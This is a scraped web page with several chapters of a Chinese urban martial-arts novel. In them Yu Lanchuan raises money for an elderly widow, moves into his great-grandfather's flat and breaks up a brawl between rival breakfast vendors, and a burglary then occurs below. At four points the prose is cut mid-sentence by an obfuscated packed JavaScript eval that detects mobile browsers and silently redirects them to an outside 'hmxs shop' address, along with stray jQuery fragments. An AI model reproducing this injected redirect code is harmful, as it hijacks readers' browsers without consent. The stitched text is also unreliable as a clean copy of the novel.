l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728786|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打赏里攒了两千多块,想要捐给钱老太。喻兰川的季度奖刚下来,有钱买眼镜了,于是给他弟添了点钱,凑了个一万的整数送过去,算是那么个意思。
除此以外,甘卿给了一沓毛票,还有喻兰川部门的几个下属,看见他朋友圈里转发的链接,点进去一人捐了三五百,用的是拍马屁专项用款。
然后再无人问津了。
这点钱听着不少,然而都是杯水车薪,不要说治疗费和手术费,都赶不上ICU烧的住院费。
可是大家真的都已经仁至义尽了。
周末,喻兰川约了个钟点工,去大爷爷家打扫卫生,钟点工干着活,他就搬了把椅子坐在门口吹过堂风,浏览一堆投资项目的资料,效率不高,目光总是往隔壁飘。隔壁的门一响,喻兰川就下意识地坐直了,板起高贵冷艳的脸,头也不抬地盯住自己的电脑屏幕。
隔壁说:“哟,稀客,小川来了啊?”
喻兰川:“……张奶奶早。”
浪费感情。
就在他索然无味地收回目光时,电梯间“叮”一声轻响,有人上来了。
来人是个壮年汉子,一身风尘仆仆,背着个巨大的蛇皮袋子,茫然地打量了一下狭长的楼道,看见喻兰川,就操着浓重的外地口音问:“我打听一下,喻盟主是住这一层吗?”
喻兰川站起来:“我祖父已经去世了。”
“哎,我知道,我在老家还给老盟主上了香呢,那你就是小喻爷吧?我就找你!”大汉一边说,一边风风火火地跑过来,把大蛇皮袋从肩上抡下来,往喻兰川手里一怼,那玩意足有好几百斤,喻兰川莫名其妙地接过来,手腕猛地一沉,连忙提了口气才拎住,差点砸了脚。
大汉一抹汗:“我坐了两天的火车,唉,跑一趟真远!”
喻兰川这才反应过来,1004是个“办事处”:“哦,您请进来坐……”
“不坐不坐,”大汉一摆手,“我还得坐下午的车回去,一天就这一趟火车。小喻爷,燕宁我人生地不熟,你是老盟主的后人,东西交给你了,我放心!”
喻兰川:“什……”
大汉根本不给他说话的机会,往后退了半步,“噗通”一声跪了,冲他磕了俩头,砸得地板“咣咣”作响。
喻兰川:“……”
干什么!我要报警了!
大汉说:“三十多年前,我妈怀着我,坐火车回娘家,路上反酸想吐,开了窗户,碰上了扒窗的,从外面伸手,一把抓起她的行李要跑。我妈年轻气盛,又仗着自己会点把式,不愿意舍财,动手跟他们抢,逼着扒窗的贼动了凶器,要不是钱大爷他们正好埋伏在那,世上就没我妈,也没有我了!这些年我们都不知道钱大爷已经没了,钱老夫人过成这样,我们对不起恩人,没脸见她,磕俩头,劳驾小喻爷带到。”
喻兰川服了:“不是,我怎么带?等等,别跑!你还没说你是谁呢!”
大汉不答话,一跃而起,冲他一抱拳,然后跟被大狼狗追似的,撒丫子从楼梯跑了。
结实的蛇皮袋也不堪重负,“嘶拉”一下裂了个口,东西掉了一地。
里面有干货山珍、土特产、被褥、手工点心,还有满地滚的二十多个大苹果和一缸自制泡菜!
喻兰川:“……”
而在这一堆匪夷所思的鸡零狗碎下,是几摞摆得整整齐齐的人民币,用小纸条捆着,纸条上写着:“结草衔环,无以为报。”
近四十年,当年无意插的秧,竟然有了果。
17. 第十六章
甘卿这个时间本来应该在星之梦,但今天正好是进货的日子,张美珍女士对小饰品很感兴趣,要求她先拿回家给自己挑。所以她刚拎着好几斤小饰品上楼,就被一排远道而来的苹果拦住了去路。
她顺着苹果往前一看,只见喻先生穿着熨烫平整的法式衬衫,订了珠贝母袖扣,新眼镜的镜片泛着蓝绿色的光,活像是准备出席博鳌论坛的派头……然后他左手拎着一只塑封的熏鸡,右手捧着一袋快要碎成渣的点心,脚下一条小花被,裹着个密封良好的泡菜缸。
“……”甘卿被这种超级混搭冲击了一下,“日子不过了?”
喻兰川不知道假装自己正在帮张奶奶捡东西还来不来得及。
张奶奶显然不愿意背这口土锅,两个小青年撅着屁股满楼道捡苹果的时候,她老人家就对着门口的穿衣镜搭鞋子、抹口红:“早听说那天有个单身老女人来找杨清,原来是她呀。”
“杨清”就是老杨大爷的名字,喻兰川在他送给大爷爷的挽联上看见过。
喻兰川敏锐地从“单身老女人”几个字里听出了什么,难以置信地抬起头。
甘卿背过身,伸手往楼下一指,又斜眼示意妖娆的张美珍女士,做了个口型——“备胎”。
喻兰川刚想拿着苹果站起来,腿一软,差点又跪回去。
甘卿回头问:“美珍姐,她是谁啊?”
喻兰川又难以置信地看向她——现在的人为了巴结房东,都能这么不要脸吗?
张美珍美滋滋地往头发上打弹力素,挺有耐心地说:“她叫钱小莹,年轻时候脾气又烈又暴,有人叫她‘飞腿小辣椒’,后来长大嫁人了嘛,‘小辣椒’听着不太尊重,大家伙就给改成了‘满山红’,也是个美人,当年有几个无聊的闲汉排过美人榜,我记得她排第五还是第六。”
甘卿很淡定地说:“哦。”
张美珍奇怪地问:“你个小丫头知道什么?”
甘卿找来一根很粗的针,上了五股棉线,利索地把撕开的蛇皮袋缝上了,来回走了两趟针,她头也不抬地说:“榜首是您的那个榜呗。”
喻兰川:“……”
廉耻何在?
张美珍一愣,然后笑得花枝烂颤,也没否认,探头问喻兰川:“她怎么了?”
喻兰川三言两语把事说了。
“啧,好惨。”张美珍退后两步,打量着自己的全身造型,一点也不走心地说,“那她不是要变成孤寡老人了?”
喻兰川不愿意在背后拿别人的难事消遣八卦,于是没接茬。
“这也没什么呀,”张美珍轻飘飘地呵出一口脂粉气,“谁还不是孤寡老人呢?”
甘卿和喻兰川同时一愣,张美珍已经捏起小坤包,款款地走了。
等钟点工收拾完,喻兰川就雇了几个人,把重新封好的蛇皮袋搬到了钱老太他们的临时租屋里,然后把钱单独拿出来,亲自护送到了医院,并且仔细看了看,没能从那张脸上找到昔日“满山红”的蛛丝马迹。
喻兰川没有要多说的意思,放下东西就走,他留下的纸包太大,钱老太一开始还以为是包吃的,撕开密封口一看就疯了,撒腿追出去,喻兰川的车已经没影了。
当代机动车,毕竟是比几十年前在山里拉煤的破火车先进多了,飞腿小辣椒也赶不上了。
钱老太在路口站了好一会,发现纸袋封口处有一行字。
写着:二十万整,“磕俩头”兄送,喻兰川转交。
送完钱回去,喻兰川整理完周一例会的资料,没事了。下午天高日朗,是个难得的好天气,一般这种休息日,他都会约几个圈里朋友去打高尔夫,像在游戏里刷关卡一样,很功利地社交。
今天,喻兰川突然提不起兴致了,回想起来,他本来就对任何球类运动都不感兴趣,连比赛都懒得看,下场纯粹是陪着别人玩,而和那些朋友们聊的所谓“政策趋势与时代脉络”,乍一听挺高级,其实跟中学小女孩聊明星八卦没什么本质区别——都是捕风捉影地瞎扯淡。至于靠打球和饭局发展的“人脉”,别说真有用的时候能不能用上,就连在朋友圈里转个大病筹款,都没有人点进去看一眼,随便给个咖啡钱,可见也是虚无缥缈。
喻兰川漫无目的地上了一会网,两只手突然自作主张,去搜索了“扒火车党”,没搜出什么结果,他就按着杨大爷给他介绍的“二钱”事迹,翻查当地旧闻,找到一点蛛丝马迹,就保存下来,然后在当地的论坛和贴吧里发帖。
一开始没人理他,喻兰川也就把这事放一边了,过了几天,他无意中想起来,回头看了一眼,却发现其中一个帖子被置顶了。有个人写了一篇好几千字的长篇大论,讲自己老列车员外公的见闻。
接着,类似的留言多了起来,有些是真的,有些大概是凑热闹自己从传说里杜撰的。
“他们几个人分别坐在不同的车厢里,快到地方了,就站起来在车里溜达,互相使眼色,满山红故意自己坐在角落里,戴个头巾,在小桌上放个小布包,窗户打开一点。那些贼眼睛都很尖,看她孤零零的一个女人,也不知道防备,立刻盯上她,车速一降下来,他们就扑上来扒车窗,钻进来抢她的东西。满山红可不手软,一看有贼上钩,一把攥住贼伸进来的手腕,把窗户往下一压,贼一看上当,狗急跳墙,从怀里摸出匕首捅她,她一脚扫出去,匕首就飞了,车上埋伏的几个兄弟们跳车抓贼的同党。”
钓鱼执法,居然跟她后来碰瓷的套路差不多。
“我外公说,满山红把拖上车的贼抓住,按在地上,膝盖顶住了贼的后背,就朝赶来的乘警笑,她头巾掉下来,露出一把又粗又长的大辫子,唇红齿白的……”
“她坐几站以后,看见车里平安无事了,就下车,她丈夫保准已经在站台等她了。据说钱老先生总是让别的兄弟押送扒窗贼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728787|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,自己穿山里的近路,用两条腿能赶在火车之前到站接她。不知道传说是不是真的……”
喻兰川想了想,联系了公司的暑期项目实习生,实习生已经回学校上课了,是他大学师弟。喻兰川托师弟在大学找了几个写校刊的学生,把这些都市传说似的留言收集起来发过去,让他们有偿写一篇满山红的传记。
然后他拿着这篇传记,联系了他们以前投过的几个文化传媒公司和自媒体小团队,包装了一下,又在当年闹过扒车党的地方论坛里定点投放。
据说后来“买包买表”的杨总看见,也在里面搀和了一脚,买了一拨营销。
这是喻兰川听人说的,并没有得到杨总本人的承认。
终于,在“磕俩头”兄的二十万也已经耗得差不多时,“满山红”的故事,从一众筹钱求医的乏味新闻里脱颖而出了,虽然阅读量到底没有突破“十万加”,但只要让记得她的人知道,就已经够了。
秋意开始浓重肃杀起来,三兄弟里的刀疤脸,因为从头到尾没有参与绑架,还一直试图阻止师兄弟,查明后被放出来了。“满山红”的故事虽然被一个又一个的社会热点覆盖,但钱老太儿子的治疗费也筹措得差不多了。
然而……
生老病死毕竟是天命,人,力所不及。
钱刚刚到账,还没等交给医院,钱老太的儿子就突然恶化,她签了不知道第几次病危通知单,习惯性地坐在急救室外等。
窗外忽然起了一阵风,楼道里紧闭的窗户被悍风狠狠地摇动了几下,院里的大梧桐“哗”地响了一声,钱老太心没有章法地乱跳起来,急救室的灯灭了。
苟延残喘地挣扎了几个月,钱老太成了孤寡老人。
喻兰川接到电话的时候,正赶上一场暴雨,全城大堵车,雨刷赶不上擦,前面的车流一动不动,隔壁车主也不怕淋湿,拉下车窗,卷着袖子往外弹烟灰。
钱老太就在一百一十号院等他等到深夜,雨停了,喻兰川才赶到,钱老太让刀疤脸磕头,被怕了他们这套的喻兰川制止后,就扶着拐棍,颤颤巍巍地给他鞠了一躬。
因为天气不好没法出门鬼混的张美珍女士,倚在自家门框上,忽然出声:“小辣椒。”
转身要走的钱老太愣了半天,才回过神来,用一种难以言喻的目光看向张美珍。
张美珍张了张嘴,忽然想起了什么,又笑了:“没事了,其实我刚才想跟你说‘都会好的’,想了想还是不说了吧,反正也不是真话。天不好,慢走。”
一切都会变好吗?
不会的,变好还是变坏,都得听天由命。
可不管什么样,不还是得活着么?
钱老太带着刀疤脸下楼,消失在了东小院的树荫下。
张美珍转过头来,叫住喻兰川:“小喻爷,我们几个老东西都想让你搬过来住,你杨大爷托我问你一声,你方便吗?”
18. 第十七章
“你不是嫌弃那边是‘老破小’,连个停车位都没有吗?”于严低头用筷子戳着一块“糖醋小排”,试着咬了一口,骨头是藕做的,肉是豆制品,浸了话梅汁,口感也算是劲道脆爽,酸甜适度……可仔细品味,总觉得差了点什么。
刘仲齐同学开学第一次月考进了年级前五,刷新了个人最好成绩,由于有了前车之鉴,喻兰川这回没敢拿红包打发熊孩子,所以抽了个周末,带他出来庆祝——虽然喻兰川不明白这有什么好庆祝的,他自己上学的时候从来没有掉到过第二名。
他和青春期的中二病没什么话好说,不想尬聊,于是把于严请来作陪,让人民警察给小崽子加强一下安全教育。
餐厅是喻兰川让助理帮他挑选订位的,他自己也没来过,进来一看,这架餐厅的装潢的格调非常高,小桌旁边环绕着水系,水下藏着干冰,水不停地循环,白雾就从四面八方往上浮,人坐在里面,感觉自己像是来开蟠桃会的神仙。
一打开菜单才发现,这是一家纯素食餐厅。
于严想不出喻总平时在同事面前是怎么端架子的,助理可能认为他靠吃花饮露活着,拉屎都是大吉岭红茶味的。只有这种仙气飘渺的餐厅,才配得上仙气飘渺的喻总。
“那倒没关系,”喻兰川心不在焉地戳了戳绿油油的盘子,“那边近,我上班走过去就行。小齐上学也方便,地铁都不用坐了。”
“那就去啊!别的不说,先剩你一大笔房租,一个月七千多,谁白给你?我一个月到手都没有这么多钱!”于严这货,穿上龙袍也不像太子,在禅意十足的云山雾绕里,喷出了满嘴的俗话,“不用开车,以后车位费、油钱不都省了?你再把你那车连牌再车一起租出去,都是外快啊。兰爷,发家致富靠节俭!”
喻兰川后悔领着这人出来吃饭了,有点现眼。
他没滋没味地夹了一筷子杏鲍菇冒充的鲍鱼:“不是搬个家的问题,那房子有象征意义,你不懂,住进去就等于是……”
“我懂,”于严打断他,“你们道儿上的规矩,不就是房产证上写谁的名,以后谁当盟主吗?自古江湖险恶、争权夺势,有靠德行上位的、靠武功上位的、靠阴谋诡计上位的、靠自宫喀嚓上位的——你,兰爷,今天靠房上位,前无古人,充满了时代气息。”
喻兰川懒得理他。
“那片的治安也归我们管,以后有什么事,我就能抱盟主大腿了。”于严瞄了认真喝汤的刘仲齐一眼,凑到喻兰川耳边小声说,“隔壁还住了一个跟你特有缘的美女。”
喻兰川:“滚!”
于严伸手拍他肩膀:“去吧,别辜负老一辈的重托啊,兰爷。”
“我都忙成狗了,哪有功夫搀和他们的闲事,”喻兰川嫌弃地躲开了他的爪子,仿佛是为了表示他和隔壁半毛钱关系也没有,他正襟危坐片刻,高冷地说,“我还是不了,省得给自己找麻烦……”
他话没说完,电话忽然响了,喻兰川一看来电显示,脸色就有点不好看——房东来电。
房东不是什么爽快人,一通电话打了足有五分钟,拉着黏的声音来回缭绕。于严一碗假红烧肉都吃完了,那边才说完。
“什么事?”于严觑着他的脸色,抖了个机灵,“不会是要涨房租吧?”
一身仙气的喻兰川放下电话,当着未成年的面,把脏话咽回去了。
于严掐了掐手指,依稀记得喻兰川的租房合同是一年一签的,好像快到期了:“呸呸呸,乌鸦嘴,童言无忌……不会真要涨房租吧?”
他俩说话声音很小,周围水声又“泠泠”响个不停,大厅还有个弹琵琶的,因此刘仲齐没听清哥哥们关于“国计民生”的讨论。英雄少年已经忍了一顿饭了,终于忍无可忍地放下了菜叶子,对喻兰川说:“哥,我没吃饱。我想吃炸鸡排,真鸡。”
于严:“我也想吃,哥,我还想吃羊肉串,真羊。”
喻兰川:“……”
六月的天,是房东的脸,说变就变。
汹涌上涨的房租好似龙卷风,永远比爱情来得更突然。浩浩荡荡地奔将过来,把洋气的喻总冲到了一百一十号院。
大爷爷的房子他维护得很好,刚打扫过,也不用重新装修。
月底,喻兰川放弃挣扎,拎包入住——包里装着拖油瓶刘仲齐同学。
甘卿听张美珍说了两位少爷移驾隔壁的事,不过她是游手好闲的小打工仔,上午十点才慢腾腾地开工,跟那些上了发条似的白领和高中生时空不交叠,隔壁搬来了好几天,她只在吃早饭的时候听见过隔壁门响,没碰见过人。
晚上下班前,她一边啃着孟老板给她烤的玉米,一边翻着手机上的日历发愁——距离这个月发工资还有四天,开支没计算好,她没钱了。
甘卿把啃干净的玉米棒子往垃圾桶里一投:“孟叔,借我二十块钱,发了工资还你。”
孟天意听见,嘀嘀咕咕地出来,在围裙上擦了擦手,掏出五十块钱来塞给她,数落道:“怎么又没钱了?你一个人吃饱全家不饿,一天三顿,两顿在我这吃,房租就收你六百,一天到晚那么两件破衣服,也不知道打扮打扮,你钱呢?都花哪去了?”
甘卿把五十块钱收起来,伸了个懒腰,没正形地说:“我也奇怪呢,您给我看看后背上,是不是有穷神附体?”
孟老板怒其不争地掴了她一巴掌,甘卿连躲都懒得躲,清脆地挨了,用桌沿启了瓶汽水喝。
除了吃和喝,她对自己的力气吝啬得很,一年四季都透着一股冬眠没醒的劲,能省一个动作就省一个动作,能转眼珠不扭脖子,连点头都比别人省事——别人点头,是下巴一缩,然后回归原位,她点头,就是把头往下一低,什么时候需要抬头了再抬起来。
孟天意叹了口气:“你还年轻呢,总这么混哪行啊,得为将来想想吧?人还是得融入社会,得过日子啊!”
甘卿“哼唧”了一声:“正想着呢。”
“你想什么想!要么你去学点什么,我听说有那个什么……是成人高考还是自考的?你去报一个,好歹是个学历,不愿意念书,就跟你孟叔一样,学一门手艺也能糊口,学费我给你垫,将来慢慢还。”
甘卿:“我手艺还行啊,会做饭,能帮厨。”
孟天意:“你行个屁!你会吃!”
甘卿听完一笑,死猪不怕开水烫地喝了口冰镇汽水,既不因虚度年华而悔恨,也不因碌碌无为而羞耻。(注)
她眼窝略深,稍有些“眉压眼”,但笑起来的时候,眉目倏地舒展,眼尾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728788|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弯成月牙,有种特殊的甜。
孟天意苦口婆心:“就算你什么都不想干,那你好好收拾收拾,嫁个人、成个家,好好过日子,这总可以吧?”
“唔,这个好,”甘卿一伸大拇指,“您看看,长成我这德行的,想傍个大款有戏吗?以后天天在家躺着,汽水一次点两瓶,掺着喝。”
孟天意有点气急败坏:“你师父要是活着……”
“孟叔,”甘卿脸上惫懒的笑容忽然消失了,“说什么呢,我哪来的师父?”
她说完,把空瓶往身后一抛,那玻璃瓶极准地落在一米以外的塑料筐里,正好卡进了一个空位,堪比杂技。扔完,她转身就走。
“杆儿,你师父闭眼之前都放心不下你。”孟天意在她身后说,“怕你这脾气!怕他没了,以后没人管得住你,惹了事没人给你收拾。”
“我早就不惹事了。”甘卿插着兜,回头看了孟天意一眼,路灯把她长长的影子拖在身后,她冲孟天意摆摆手,“早就惹不动了。”
有了孟老板借给她的五十块钱,早饭又能买得起煎饼了,连啃了三天馒头咸菜的甘卿走出泥塘后巷,心里这么盘算着,刚吃饱又馋了。
这时,她的手机震了几下,甘卿接起来,里面传来一个非常虚弱的女声:“喂……是、是我。”
跟谁都笑眯眯的甘卿脸色突然冷淡下来,爱答不理的“嗯”了一声。
“我上次治阑尾炎的那个钱,报销下来了,我……我是上银行给你打过去,还是……”
“不用,”甘卿说,“自己留着交暖气费吧。”
“哦,那……”
甘卿打断她:“还有别的事吗?”
“没有,就这个……”
“那就这样吧,你有事再找我。”甘卿说完,不留情面地挂了电话,一点也不担心对方脸面挂不住……因为知道对方没有脸面。
她今天在店里跟客人念叨了一天“水逆”,可能是被反噬了,一晚上连着两个人让她不痛快。进了十月,燕宁的夜风再也不惬意了,开始露出了一点凛冽的前兆,甘卿裹紧了身上的运动服外套,尽可能地把注意力转移到煎饼上,这样,她就能对明天充满了期待。
抱着“煎饼”这根精神支柱,甘卿回到了一百一十号院,刚一上楼,就看见了几个熟悉的人堵在她家门口。
甘卿揉了揉眼,还以为自己是思念煎饼思念出了幻觉——那几个人泾渭分明地站成两伙,一伙是路北边摊“山东煎饼”的,一伙是路南边摊“煎饼果子”的,两伙人吵吵闹闹地把刚下班的盟主堵在了家门口。
“小喻爷你评评理,他们山东帮的先动手打了我们的人!”
“谁先挑衅的?”
“谁先越界的?”
“越你妈X的界,老子一摊一个月纯利过万,用得着跟你们这帮穷皮抢地盘?你们那破煎饼,能摊就摊,不能摊滚蛋!”
喻兰川夹着笔记本电脑,木着脸看着月入过万的两大帮派撕扯。
“到这了还敢动手是吧?好,奉陪!”
“明天谁也甭做生意了,什么时候比划出个黑白再说!”
“怕你?”
“怕你!”
甘卿:“……”
不、不要啊!
19. 第十八章
为了自己的精神支柱,一向不出头的甘卿忍不住插了句嘴:“别,生意还是要做的啊。”
她经常去买煎饼,山东煎饼帮的老大一回头就认出了老主顾,立刻来了底气,声音洪亮地说:“那也得卖的东西好,才有脸开张,姑娘,你说是不是?我做的是饭,他做的是屎,你们吃早点的当然知道上谁家去。”
煎饼果子帮的老大也认出了甘卿,冷笑一声:“谁是屎谁心里清楚,顾客心里也清楚。”
“呃……”甘卿十分尴尬,她其实是一三五去路北,二四六去路南,周日偶尔换口味吃包子,脆的软的来者不拒,实在不知道该站哪边,只好干巴巴地和稀泥,“都挺好的,两种口味嘛。”
“谁跟他们两种口味?!”
“他们压根不是煎饼!”
墙头草甘卿不合时宜的劝架反而激化了矛盾,两大煎饼帮的老大从“文斗”上升到了“武斗”。
武林风气每况愈下,特别是在社交网络大规模流行起来之后,年轻后生们没事乱跟风,好像“约架不去一百一”,这场架打得就没有格调一样。
喻兰川搬过来才不到一个礼拜,在他日常早出晚归的情况下,这已经是第二场闹到他面前的冲突了——上次是凌晨五点,门口洗衣店的老大爷和修补皮具的老大爷联袂来敲门,表示他俩要决斗,还要签什么“生死文书”。
他总算明白大爷爷晚年为什么老是萍踪浪迹了。
两大煎饼帮派围成一圈,连吵再掐,可能是来得急,都没摘套袖,打架的两双大套袖上下飞舞,葱花和酱料味也跟着四处飘散,狠狠地刺激了胃里只有咖啡的盟主。
喻兰川因为低血糖,怒从心头起,顺手把眼镜扒下来,跟笔记本电脑一起,塞进旁边人手里。
这时,山东煎饼兄横肘撞人,煎饼果子兄一脚低扫,喻兰川直接撞进他俩中间,一抬手点了山东煎饼的麻筋,另一只手按住煎饼果子的肩膀,在他撑地的脚踝上一带——山东煎饼“嗷”一嗓子,捂着麻了半边的胳膊肘蹦开了,煎饼果子四脚朝天地仰在地上,傻愣愣地回不过神来。
喻兰川这才后退半步,把解开的袖口扣子重新扣上,冷冷地扫过安静下来的两大煎饼帮派。
要是喻怀德老人还在,这种狗屁倒灶的破事,他们是不敢闹上来的。
只是最近听说十楼来了个小喻爷,既然是“小”,那当然就好欺负得多,传闻还是个留过洋的人物,大家一听,怀疑他是个跟老外练过几年拳击就回来人五人六的棒槌,于是各路妖孽纷纷冒头,寻衅滋事。
两个煎饼帮的矛盾由来已久是一方面,另一方面,他们闹事,也是想试试这个小喻爷是软是硬。
没想到小喻爷这个“寒江雪”的后人,真有两把刷子,才刚一照面,两位老大就扑地了。
老大没了脸,方才起哄的小弟们也纷纷偃旗息鼓,一起又心虚又紧张地看向喻兰川,等他发作。
“楼道是公、共、场、所,”喻兰川一字一顿地说,“诸位‘月入过万’的土豪们,能不能稍微文明一点?”
山东煎饼帮的老大还没缓过劲来,揉着胳膊,搭讪着上前一步:“小喻爷……”
“有矛盾,是吧?”喻兰川不给他说话的机会,摸出手机,“等着,我给你们解决。”
两大煎饼帮伸长了脖子,好奇新盟主的处世之道。
就见喻兰川在手机上按了几下,然后对着电话说:“喂,您好,市民投诉——我想投诉我们这的流动早餐车,这些人素质极差,乱扔垃圾,还为了抢地盘,到居民小区里打架斗……”
“素质极差”的煎饼侠们差点给他跪下,大惊失色地扑上去,七手八脚地拉开喻兰川的嘴和手机,求他收了神通。
山东煎饼帮的老大:“小、小小小喻爷,有、有有有话好好说!”
煎饼果子帮的老大:“不至于!不至于!”
“有话好好说?”喻兰川伸出一根手指,隔空点了点山东煎饼帮,又转头问煎饼果子帮,“不至于?”
煎饼侠们怕了他,一边愁眉苦脸,一边陪着笑。
喻兰川:“打架的打坏了吗?打坏了去医院验伤,验完伤我给你们报警,该怎么赔,就怎么赔。”
“没有没有,没打坏,切磋、日常切磋,不是个事。”
喻兰川:“那就好,地盘的事,以前没有规矩吗?有规矩,就按规矩来,别跟我扯别的,以前行,以后就行,不行也得行。”
煎饼侠们面面相觑。
喻兰川冷笑一声:“工商局电话多少来着?”
煎饼侠们头一次碰到这种投诉狂,不敢说不行,最后当着喻兰川的面,捏着鼻子互相拥抱了一下,都觉得自己的清白遭到了玷污,一起垂头丧气地走了。
甘卿狗腿地迈着小碎步颠过来,把电脑和眼镜还给喻兰川:“小喻爷威武。”
她方才一直握着一条眼镜腿,金属眼镜框,一边的眼镜腿冰凉冰凉的,一边沾了她手心的体温,悬殊的温差从一边的太阳穴流向另一边的太阳穴。
喻兰川看了她一眼,又被似曾相识的眉目蛰了一下,绷着脸冲她一点头,寒暄道:“这么晚下班?”
“不晚,”甘卿面对拯救了她早饭的恩人,好话不要钱,“回来得正好,不然都没机会帮您拿东西。”
油嘴滑舌。
喻兰川不知怎么,想起了她哄张美珍的嘴脸,无端又不高兴了,凛若冰霜地走了。
才一进门,不会看人脸色的弟弟就一脸崇拜地跑过来给他叼拖鞋,“哼哼哈兮”地伸了伸胳膊腿:“哥,我刚才从‘猫眼’里看见了,你也练过吗?什么时候练的?以前都没听你说过,能教教我吗?我前一阵还去星之梦找过那个姐姐,结果磨了半天,她就给了我一个报警器,还教了我一招‘撩阴脚’,我觉得有点下流……”
喻兰川额角青筋暴跳,伸手一指屋里:“写作业去!”
刘仲齐就跟误食了猫薄荷似的,连蹦再跳地“飞”回了他自己屋里,还跳起来摸了一下门框。
这时,公司同事紧急呼叫,说某个就要签合同的投资项目政策有变,大老板突然反悔,召唤风控部门线上会议。喻兰川只来得及用微波炉热一个三明治,就开始接受各部门的电话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728789|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轰炸。
正在他焦头烂额时,阳台窗户忽然“叩叩”地响了几下,喻兰川吓了一跳,不小心把培根整条拖了出来,伸着个长舌头似的转过头,看见他家十楼阳台外趴着个“蜘蛛人”,穿着紧身衣,手里拎着钢爪和吸盘。
“蜘蛛人”从怀里摸了摸,摸出一张皱巴巴的信纸,“啪”一下拍在了窗户上,上面歪歪扭扭地写道:“我是‘堂前燕’传人,我要向你挑战。武林大会,一决胜负。”
喻兰川:“……”
起码这一刻,他无比怀念自己冰冷的租屋和无情的房租。
对,说起这个遭瘟的“武林大会”,老杨大爷已经跑来催了好几次,说是场地和海报都做好了,随时可以给他看。
武林大会三年一度,以前都是大爷爷主持。
老杨大爷说:“我们都老了,跟不上时代了,也该让年轻人出头了,大家伙也都想见见小喻爷,小川啊,这回就你来主持吧。”
喻兰川:“杨爷爷,我今年真的没有年假了,咱们聚会能换个时间吗?春节长假怎么样?”
“不行啊,”老杨大爷说,“春运的火车票买不上啊!”
喻盟主无话可说,愤而消极怠工,并且开始在网上找新房子,宁负房租,不当盟主了。
就在这时,楼下突然隐约传来“喀嚓”一下玻璃碎裂的声音,紧接着,有女人凄厉的尖叫声响起,扒在他窗外的“蜘蛛人”人影一闪就不见了。
房龄大的老楼,隔音固然差一些,但此时已近深秋,家家夜里都是关着窗户的,这个声音却仍然能从窗户缝里钻进来,刺得人一激灵,好像垂死时爆发出的惨叫。
不止喻兰川,周围好几户同时推开了窗户,探头寻找声音来源。
甘卿刚洗了头发,正在阳台上收衣服,余光扫见一道黑影往隔壁去了,又不知是什么牛鬼蛇神。她摇摇头,向隔壁的小喻爷献上了同情心,正准备去吹头发,也被这惨叫声惊动。
这惨叫似乎让她想起了什么,甘卿皱了皱眉,靠近窗边,把窗户略推开一条缝。
外面的声音清晰起来,甘卿听见邻居们七嘴八舌地互相喊话:“八楼还是九楼?”
“八楼,好像是804,窗户都碎了。”
“幸亏是晚上,楼底下没人,怎么回事啊?”
“是不是进贼了,我刚才好像看见一道黑影闪过去了。”
“不可能吧……这可是八楼。”
这时,804的人终于出了声,是很虚弱的女人的声音,颤颤巍巍地从碎裂的玻璃窗里传出来:“是……是有贼。”
“什么?八楼也有贼!”
“这还没到年底呢,穷凶极恶了吧!”
“我805的,”一个挺胖的中年男子说,“我看看去。”
邻居们连忙喊他:“等等,万一贼没跑呢,先报警,等大家一起过去。”
住在一百一十号院的,大部分都是后来搬进来的普通人,大家纷纷紧张了起来。
喻兰川收起自家窗户上的纸条,目光在周围逡巡了一圈,嘱咐刘仲齐关好门窗,披上外衣出去了。
20. 第十九章
喻兰川下楼的时候,正好碰上了甘卿。甘卿裹着一件可能已经和共和国同龄的大连帽棉袄,从头裹到小腿,帽子扣在头上,几绺掉出来的头发湿淋淋的,脚下露出睡裤的边,应该是已经准备睡下了。
喻兰川觉得有点奇怪——她不像是那种听说邻居家闹贼,就得爬起来去凑热闹的人。
整栋楼只有一部电梯,大家都要用,就会很慢,所以他俩是从楼梯间走下来的。
走在前面的甘卿忽然低声说:“敲你窗户的人,后来往上跑了。”
“你看清了?”喻兰川一愣,随后他不知怎么想的,又脱口问,“你听说过‘堂前燕’吗?”
甘卿从十楼一直沉默到八楼,就在喻兰川以为她不想回答的时候,她竟然低低地“嗯”了一声:“飞燕点水,踏雪无痕……现在也都成大壁虎了。”
他俩下来的时候,804门口已经聚集了一帮邻居,说来奇怪,这会刚过十点,连甘卿这种“带发尼姑”都还没睡下,对于当代都市人来说太早了,入室盗窃怎么会选择这个点钟?
